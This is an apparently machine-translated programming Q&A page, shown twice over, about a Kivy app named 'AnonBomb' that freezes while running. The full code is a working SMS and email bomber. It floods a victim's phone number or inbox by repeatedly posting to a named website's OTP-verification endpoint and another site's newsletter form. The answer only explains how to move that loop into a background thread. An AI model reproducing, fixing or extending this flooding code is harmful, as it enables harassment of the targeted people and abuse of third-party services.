如何修复 kivy 在给它另一个任务时没有响应
How to fix kivy not responding while give it another task
我是 python 和 kivy(也许是 kivymd)的初学者。在修复了很多错误之后,我为我的朋友(实际上他挑战了我)创建了一个应用程序。但是我必须在你们的帮助下解决另一个问题。代码有点大(大约 300 行)所以我会在问题的最后给出它。现在听着,问题是当我按下一个与 def/Function 连接的按钮时,该功能未与 kivy 连接。实际上这个函数在后台完成他的工作。当它运行时,整个 kivy 程序 hang/It 说没有响应。我听说过线程。但是 on_press:threading.Thread(target=app.function_name)
不起作用。它说 NameError: name 'threading' is not defined
。我如何解决 Not Responding
问题 with/without threading
。谁能帮帮这个可怜的家伙??
截图如下:
这是完整代码:
from kivy.uix.boxlayout import BoxLayout
from kivymd.app import MDApp
import requests as rq
from requests.structures import CaseInsensitiveDict
from kivy.lang import Builder
from kivy.core.window import Window
import threading
Window.size=(400,600)
screen_helper="""
MDScreen:
MDNavigationLayout:
MDToolbar:
id:toolbar
title:'AnonBomb'
pos_hint:{"top": 1}
left_action_items:[['menu',lambda x: nav_drawer.set_state("open")]]
elevation:20
ScreenManager:
id: screen_manager
MDScreen:
#_________________________Home Screen_________________________
name:'home'
#________1st Label________
MDLabel:
text:'This app is for fun, Not for Revange'
theme_text_color:'Custom'
text_color: 1,0,0
font_style:'H6'
halign:'center'
pos_hint:{'center_x':0.5,'center_y':0.8}
size_hint_x:None
width:300
#________2nd Label________
MDLabel:
text:'We are not responsible for any misuse of our app'
theme_text_color:'Custom'
text_color: 0,0,1
font_style:'H6'
halign:'center'
pos_hint:{'center_x':0.5,'center_y':0.69}
size_hint_x:None
width:300
#________3rd Label________
MDLabel:
text:'Choose Any Bomber Below'
theme_text_color:'Custom'
font_style:'H5'
halign:'center'
pos_hint:{'center_x':0.5,'center_y':0.4}
size_hint_x:None
width:300
#________Switch SMS Bomber Button________
MDFillRoundFlatIconButton:
text:'SMS Bomber'
pos_hint:{'center_x':0.25,'center_y':0.2}
icon:'message'
on_press:screen_manager.current='sms'
#________Switch Email Bomber Button________
MDFillRoundFlatIconButton:
text:'Email Bomber'
pos_hint:{'center_x':0.75,'center_y':0.2}
icon:'email'
on_press:screen_manager.current='email'
MDScreen:
#_________________________SMS Bomber Screen_________________________
name:'sms'
#________1st Label________
MDLabel:
text:'SMS Bomber'
font_style:'H5'
halign:'center'
pos_hint:{'center_x':0.5,'center_y':0.83}
#________2nd Label________
MDLabel:
text:'Note: SMS Bomber will Only work with Bangladeshi Numbers'
halign:'center'
pos_hint:{'center_x':0.5,'center_y':0.75}
#________Target Number________
MDTextField:
id:sms_target
hint_text:'Enter Target Number (without +88)'
pos_hint:{'center_x':0.5,'center_y':0.65}
size_hint_x:None
width:300
#________SMS Amount________
MDTextField:
id:sms_amount
hint_text:'Enter SMS Amount'
pos_hint:{'center_x':0.5,'center_y':0.55}
size_hint_x:None
width:300
#________Run Button________
MDFillRoundFlatIconButton:
text:'Start Bombing'
pos_hint:{'center_x':0.5,'center_y':0.45}
icon:'message'
on_press:app.sms_bomb()
#________Back Button________
MDFillRoundFlatIconButton:
text:'Back'
pos_hint:{'center_x':0.16,'center_y':0.06}
icon:'logout'
on_press:screen_manager.current='home'
MDScreen:
#_________________________Email Bomber Screen_________________________
name:'email'
#________1st Label________
MDLabel:
text:'Email Bomber'
font_style:'H5'
halign:'center'
pos_hint:{'center_x':0.5,'center_y':0.83}
#________Target Address________
MDTextField:
id:email_target
hint_text:'Enter Target Mail'
pos_hint:{'center_x':0.5,'center_y':0.65}
size_hint_x:None
width:300
#________Email Amount________
MDTextField:
id:email_amount
hint_text:'Enter Mail Amount'
pos_hint:{'center_x':0.5,'center_y':0.55}
size_hint_x:None
width:300
#________Run Button________
MDFillRoundFlatIconButton:
text:'Start Bombing'
pos_hint:{'center_x':0.5,'center_y':0.45}
icon:'email'
on_press:app.email_bomb()
#________Back Button________
MDFillRoundFlatIconButton:
text:'Back'
pos_hint:{'center_x':0.16,'center_y':0.06}
icon:'logout'
on_press:screen_manager.current='home'
MDScreen:
#_________________________About ME Screen_________________________
name:'about'
#________1st Label________
MDLabel:
text:'About Me'
font_style:'H5'
halign:'center'
pos_hint:{'center_x':0.5,'center_y':0.83}
#________2nd Label________
MDLabel:
text:'''Hello Peep's, my name is S.M.Shahriar Zarir. I'm a little Python Developer from Bangladesh. I read in Python Class and I live with My Laptop Screen :), You can find me at linktr.ee/zariradvance'''
halign:'center'
pos_hint:{'center_x':0.5,'center_y':0.65}
size_hint_x:None
width:350
#________Back Button________
MDFillRoundFlatIconButton:
text:'Back'
pos_hint:{'center_x':0.16,'center_y':0.06}
icon:'logout'
on_press:screen_manager.current='home'
MDNavigationDrawer:
id:nav_drawer
ContentNavigationDrawer:
orientation: 'vertical'
padding: '8dp'
spacing: '8dp'
ScrollView:
MDList:
OneLineIconListItem:
text:'Home'
theme_text_color:'Custom'
text_color:0,0,1
on_press:
nav_drawer.set_state("close")
screen_manager.current='home'
IconLeftWidget:
icon:'home'
theme_text_color:'Custom'
text_color:0,0,1
OneLineIconListItem:
text:'SMS Bomber'
theme_text_color:'Custom'
text_color:0,0,1
on_press:
nav_drawer.set_state("close")
screen_manager.current='sms'
IconLeftWidget:
icon:'message'
theme_text_color:'Custom'
text_color:0,0,1
OneLineIconListItem:
text:'Email Bomber'
theme_text_color:'Custom'
text_color:0,0,1
on_press:
nav_drawer.set_state("close")
screen_manager.current='email'
IconLeftWidget:
icon:'email'
theme_text_color:'Custom'
text_color:0,0,1
OneLineIconListItem:
text:'About Me'
theme_text_color:'Custom'
text_color:0,0,1
on_press:
nav_drawer.set_state("close")
screen_manager.current='about'
IconLeftWidget:
icon:'baby-face'
theme_text_color:'Custom'
text_color:0,0,1
"""
class ContentNavigationDrawer(BoxLayout):
pass
class AnonBomb(MDApp):
def build(self):
self.theme_cls.primary_palette = 'Blue'
self.theme_cls.primary_hue = 'A700'
self.layout=Builder.load_string(screen_helper)
return self.layout
def sms_bomb(self):
target=self.root.ids.sms_target.text
count=self.root.ids.sms_amount.text
number=str(target)
amount=int(count)
url = "https://toffeelive.com/app/service.php"
headers = CaseInsensitiveDict()
headers["Content-Type"] = "application/x-www-form-urlencoded"
data = "phoneNumber="+number+"&route=auth_verify_mobile_no"
resp = rq.post(url, headers=headers, data=data)
for i in range(amount):
resp = rq.post(url, headers=headers, data=data)
if resp.status_code==200:
print(f'>>> [+] {i+1} SMS Sent Successfully')
elif resp.status_code==201:
print(f'>>> [+] {i+1} SMS Sent Successfully')
def email_bomb(self):
target=self.root.ids.email_target.text
count=self.root.ids.email_amount.text
address = str(target)
amount = int(count)
url = "https://themezee.com/wp-admin/admin-ajax.php?action=mc4wp-form"
headers = CaseInsensitiveDict()
headers["Content-Type"] = "application/x-www-form-urlencoded"
data = "EMAIL="+address+"&AGREE=1&_mc4wp_honeypot=&_mc4wp_timestamp=1614865641&_mc4wp_form_id=184963&_mc4wp_form_element_id=mc4wp-form-1"
success=0
failed=0
for i in range(amount):
resp = rq.post(url, headers=headers, data=data)
if resp.status_code == 200:
success += 1
print(f'>>> [+] {success} Mail Sent Successfully')
else:
failed += 1
print(f'>>> [+] {failed} Mail Sent Unsuccessfully')
print(f'\n>>> Task Done! {success} mail sent & {failed} mail failed')
if __name__=='__main__':
AnonBomb().run()
注意:我不会用这个工具打扰别人,这只是我朋友的挑战,仅用于教育目的!请帮助我
使用threading
是正确的方向。您必须将其导入 kv
,如下所示:
#:import Thread threading.Thread
然后你可以像这样使用它:
#:import Thread threading.Thread
Button:
text: 'doit'
on_release: Thread(target=app.do_something).start()
我是 python 和 kivy(也许是 kivymd)的初学者。在修复了很多错误之后,我为我的朋友(实际上他挑战了我)创建了一个应用程序。但是我必须在你们的帮助下解决另一个问题。代码有点大(大约 300 行)所以我会在问题的最后给出它。现在听着,问题是当我按下一个与 def/Function 连接的按钮时,该功能未与 kivy 连接。实际上这个函数在后台完成他的工作。当它运行时,整个 kivy 程序 hang/It 说没有响应。我听说过线程。但是 on_press:threading.Thread(target=app.function_name)
不起作用。它说 NameError: name 'threading' is not defined
。我如何解决 Not Responding
问题 with/without threading
。谁能帮帮这个可怜的家伙??
截图如下:
这是完整代码:
from kivy.uix.boxlayout import BoxLayout
from kivymd.app import MDApp
import requests as rq
from requests.structures import CaseInsensitiveDict
from kivy.lang import Builder
from kivy.core.window import Window
import threading
Window.size=(400,600)
screen_helper="""
MDScreen:
MDNavigationLayout:
MDToolbar:
id:toolbar
title:'AnonBomb'
pos_hint:{"top": 1}
left_action_items:[['menu',lambda x: nav_drawer.set_state("open")]]
elevation:20
ScreenManager:
id: screen_manager
MDScreen:
#_________________________Home Screen_________________________
name:'home'
#________1st Label________
MDLabel:
text:'This app is for fun, Not for Revange'
theme_text_color:'Custom'
text_color: 1,0,0
font_style:'H6'
halign:'center'
pos_hint:{'center_x':0.5,'center_y':0.8}
size_hint_x:None
width:300
#________2nd Label________
MDLabel:
text:'We are not responsible for any misuse of our app'
theme_text_color:'Custom'
text_color: 0,0,1
font_style:'H6'
halign:'center'
pos_hint:{'center_x':0.5,'center_y':0.69}
size_hint_x:None
width:300
#________3rd Label________
MDLabel:
text:'Choose Any Bomber Below'
theme_text_color:'Custom'
font_style:'H5'
halign:'center'
pos_hint:{'center_x':0.5,'center_y':0.4}
size_hint_x:None
width:300
#________Switch SMS Bomber Button________
MDFillRoundFlatIconButton:
text:'SMS Bomber'
pos_hint:{'center_x':0.25,'center_y':0.2}
icon:'message'
on_press:screen_manager.current='sms'
#________Switch Email Bomber Button________
MDFillRoundFlatIconButton:
text:'Email Bomber'
pos_hint:{'center_x':0.75,'center_y':0.2}
icon:'email'
on_press:screen_manager.current='email'
MDScreen:
#_________________________SMS Bomber Screen_________________________
name:'sms'
#________1st Label________
MDLabel:
text:'SMS Bomber'
font_style:'H5'
halign:'center'
pos_hint:{'center_x':0.5,'center_y':0.83}
#________2nd Label________
MDLabel:
text:'Note: SMS Bomber will Only work with Bangladeshi Numbers'
halign:'center'
pos_hint:{'center_x':0.5,'center_y':0.75}
#________Target Number________
MDTextField:
id:sms_target
hint_text:'Enter Target Number (without +88)'
pos_hint:{'center_x':0.5,'center_y':0.65}
size_hint_x:None
width:300
#________SMS Amount________
MDTextField:
id:sms_amount
hint_text:'Enter SMS Amount'
pos_hint:{'center_x':0.5,'center_y':0.55}
size_hint_x:None
width:300
#________Run Button________
MDFillRoundFlatIconButton:
text:'Start Bombing'
pos_hint:{'center_x':0.5,'center_y':0.45}
icon:'message'
on_press:app.sms_bomb()
#________Back Button________
MDFillRoundFlatIconButton:
text:'Back'
pos_hint:{'center_x':0.16,'center_y':0.06}
icon:'logout'
on_press:screen_manager.current='home'
MDScreen:
#_________________________Email Bomber Screen_________________________
name:'email'
#________1st Label________
MDLabel:
text:'Email Bomber'
font_style:'H5'
halign:'center'
pos_hint:{'center_x':0.5,'center_y':0.83}
#________Target Address________
MDTextField:
id:email_target
hint_text:'Enter Target Mail'
pos_hint:{'center_x':0.5,'center_y':0.65}
size_hint_x:None
width:300
#________Email Amount________
MDTextField:
id:email_amount
hint_text:'Enter Mail Amount'
pos_hint:{'center_x':0.5,'center_y':0.55}
size_hint_x:None
width:300
#________Run Button________
MDFillRoundFlatIconButton:
text:'Start Bombing'
pos_hint:{'center_x':0.5,'center_y':0.45}
icon:'email'
on_press:app.email_bomb()
#________Back Button________
MDFillRoundFlatIconButton:
text:'Back'
pos_hint:{'center_x':0.16,'center_y':0.06}
icon:'logout'
on_press:screen_manager.current='home'
MDScreen:
#_________________________About ME Screen_________________________
name:'about'
#________1st Label________
MDLabel:
text:'About Me'
font_style:'H5'
halign:'center'
pos_hint:{'center_x':0.5,'center_y':0.83}
#________2nd Label________
MDLabel:
text:'''Hello Peep's, my name is S.M.Shahriar Zarir. I'm a little Python Developer from Bangladesh. I read in Python Class and I live with My Laptop Screen :), You can find me at linktr.ee/zariradvance'''
halign:'center'
pos_hint:{'center_x':0.5,'center_y':0.65}
size_hint_x:None
width:350
#________Back Button________
MDFillRoundFlatIconButton:
text:'Back'
pos_hint:{'center_x':0.16,'center_y':0.06}
icon:'logout'
on_press:screen_manager.current='home'
MDNavigationDrawer:
id:nav_drawer
ContentNavigationDrawer:
orientation: 'vertical'
padding: '8dp'
spacing: '8dp'
ScrollView:
MDList:
OneLineIconListItem:
text:'Home'
theme_text_color:'Custom'
text_color:0,0,1
on_press:
nav_drawer.set_state("close")
screen_manager.current='home'
IconLeftWidget:
icon:'home'
theme_text_color:'Custom'
text_color:0,0,1
OneLineIconListItem:
text:'SMS Bomber'
theme_text_color:'Custom'
text_color:0,0,1
on_press:
nav_drawer.set_state("close")
screen_manager.current='sms'
IconLeftWidget:
icon:'message'
theme_text_color:'Custom'
text_color:0,0,1
OneLineIconListItem:
text:'Email Bomber'
theme_text_color:'Custom'
text_color:0,0,1
on_press:
nav_drawer.set_state("close")
screen_manager.current='email'
IconLeftWidget:
icon:'email'
theme_text_color:'Custom'
text_color:0,0,1
OneLineIconListItem:
text:'About Me'
theme_text_color:'Custom'
text_color:0,0,1
on_press:
nav_drawer.set_state("close")
screen_manager.current='about'
IconLeftWidget:
icon:'baby-face'
theme_text_color:'Custom'
text_color:0,0,1
"""
class ContentNavigationDrawer(BoxLayout):
pass
class AnonBomb(MDApp):
def build(self):
self.theme_cls.primary_palette = 'Blue'
self.theme_cls.primary_hue = 'A700'
self.layout=Builder.load_string(screen_helper)
return self.layout
def sms_bomb(self):
target=self.root.ids.sms_target.text
count=self.root.ids.sms_amount.text
number=str(target)
amount=int(count)
url = "https://toffeelive.com/app/service.php"
headers = CaseInsensitiveDict()
headers["Content-Type"] = "application/x-www-form-urlencoded"
data = "phoneNumber="+number+"&route=auth_verify_mobile_no"
resp = rq.post(url, headers=headers, data=data)
for i in range(amount):
resp = rq.post(url, headers=headers, data=data)
if resp.status_code==200:
print(f'>>> [+] {i+1} SMS Sent Successfully')
elif resp.status_code==201:
print(f'>>> [+] {i+1} SMS Sent Successfully')
def email_bomb(self):
target=self.root.ids.email_target.text
count=self.root.ids.email_amount.text
address = str(target)
amount = int(count)
url = "https://themezee.com/wp-admin/admin-ajax.php?action=mc4wp-form"
headers = CaseInsensitiveDict()
headers["Content-Type"] = "application/x-www-form-urlencoded"
data = "EMAIL="+address+"&AGREE=1&_mc4wp_honeypot=&_mc4wp_timestamp=1614865641&_mc4wp_form_id=184963&_mc4wp_form_element_id=mc4wp-form-1"
success=0
failed=0
for i in range(amount):
resp = rq.post(url, headers=headers, data=data)
if resp.status_code == 200:
success += 1
print(f'>>> [+] {success} Mail Sent Successfully')
else:
failed += 1
print(f'>>> [+] {failed} Mail Sent Unsuccessfully')
print(f'\n>>> Task Done! {success} mail sent & {failed} mail failed')
if __name__=='__main__':
AnonBomb().run()
注意:我不会用这个工具打扰别人,这只是我朋友的挑战,仅用于教育目的!请帮助我
使用threading
是正确的方向。您必须将其导入 kv
,如下所示:
#:import Thread threading.Thread
然后你可以像这样使用它:
#:import Thread threading.Thread
Button:
text: 'doit'
on_release: Thread(target=app.do_something).start()